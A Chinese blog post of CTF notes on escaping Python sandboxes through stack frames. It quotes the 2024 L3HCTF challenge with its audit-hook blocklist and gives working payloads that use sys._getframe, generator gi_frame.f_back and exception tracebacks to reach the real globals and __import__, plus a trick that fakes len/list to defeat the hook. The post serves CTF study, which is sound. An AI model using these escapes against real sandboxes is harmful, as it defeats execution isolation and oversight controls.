python沙箱逃逸特辑-帧栈逃逸

来一个开胃菜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def fake_int(i):
return 100001 * 100002
import sys

# 获取当前栈帧
frame = sys._getframe()

# 安全地回溯到所需的帧(例如回溯 2 层)
depth = 2
for _ in range(depth):
if frame.f_back is None:
break # 到达栈顶,停止回溯
frame = frame.f_back

# 从安全的帧中获取全局变量
if frame:
builtin = frame.f_globals["__builtins__"]
builtin.int=fake_int
print(int(11))\#这里有一个点需要注意也许上述改变的是逃逸出的builtins里面的int,当前环境的int并未改变

sys._getframe()是获得当前的栈帧,类似于xxxx.gi_frame、xxxx._traceback_.tb_frame
成功修改了int的返回值~


下面来自一篇博客
https://xz.aliyun.com/news/13075

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
2024L3HCTF

import sys
import os

codes='''
<<codehere>>
'''

try:
codes.encode("ascii")
except UnicodeEncodeError:
exit(0)

if "__" in codes:
print("__ bypass!!")
exit(0)

codes+="\nres=factorization(c)"
print(codes)
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
def func(event, args):
blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
for i in blackList:
if i in (event + "".join(str(s) for s in args)).lower():
print("noooooooooo")
print(i)
oldexit(0)
return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)
print(locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
print("Correct!",end="")
else:
print("Wrong!",end="")

有关于生成器的绕过姿势~如下:
基本的exp类似于

1
2
3
4
5
6
def www():
yield aaa.gi_frame.f_back

aaa=www()
aaa=next(aaa)
aaa.f_globals["_\_builtins_\_"]\["_\_import__"\]

next是启动yield的结点
实例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def www():
yield 1
yield aaa.gi_frame
yield aaa.gi_frame.f_back

aaa=www()
aa=next(aaa)
print(aa)
a=next(aaa)
print(a)
b=next(aaa)
print(b)

1
<frame at 0x00000146BB954D60, file 'D:\\Temp\\tempCodeRunnerFile.python', line 3, code www>
<frame at 0x00000146BB955D00, file 'D:\\Temp\\tempCodeRunnerFile.python', line 12, code <module>>

如果next被禁止,也可以用list,send,和生成器表达式进行绕过,这里尤其介绍生成器表达式~
1
2
3
4
a=(a.gi_frame.f_back.f_back for i in [1])
print(a)
a=[x for x in a][0]#相当于启动~
print(a)

这样就得到逃逸出来的帧~

会什么用到生成器呢,因为题目的builtins为none,什么意思呢?意味着我们无法通过一些模块或者函数获取对象引用,因此栈帧也就无从获取

有例如,我们找到一道题目

。。。

原有的builtins极其有限,只有少数的list,len,filter等函数加上一个钩子函数加上一个Destruction函数

钩子函数的绕过有两种,一种是它监测不到特定的少见的不在名单的函数和一个导入模块的操作,另一种更为灵活,修改钩子里面的len,list返回即可,永真式

第一种以后有相关介绍

第二种,即类似于audik_function._getattribute__(‘__globals_’)#主要在于通过函数得到globals

拿到globals,在修改它的[‘__builtins__‘][‘len’]=lambda x: 0或者[‘__builtins__‘][‘list’]=lambda x:[a]

由于对python这些东西认识不深,很多不过只是照虎画猫罢了

而如何通过栈帧逃逸拿到真正的globals呢

利用Extruction这个类

1
2
3
4
5
6
7
8
try:
raise Exception()
except Exception as e:
tb = e.__traceback__
frame = tb.tb_frame
while frame.f_back:
frame = frame.f_back
globals = frame.f_globals

拿到对象进行逃逸即可~


等待更新例子中…..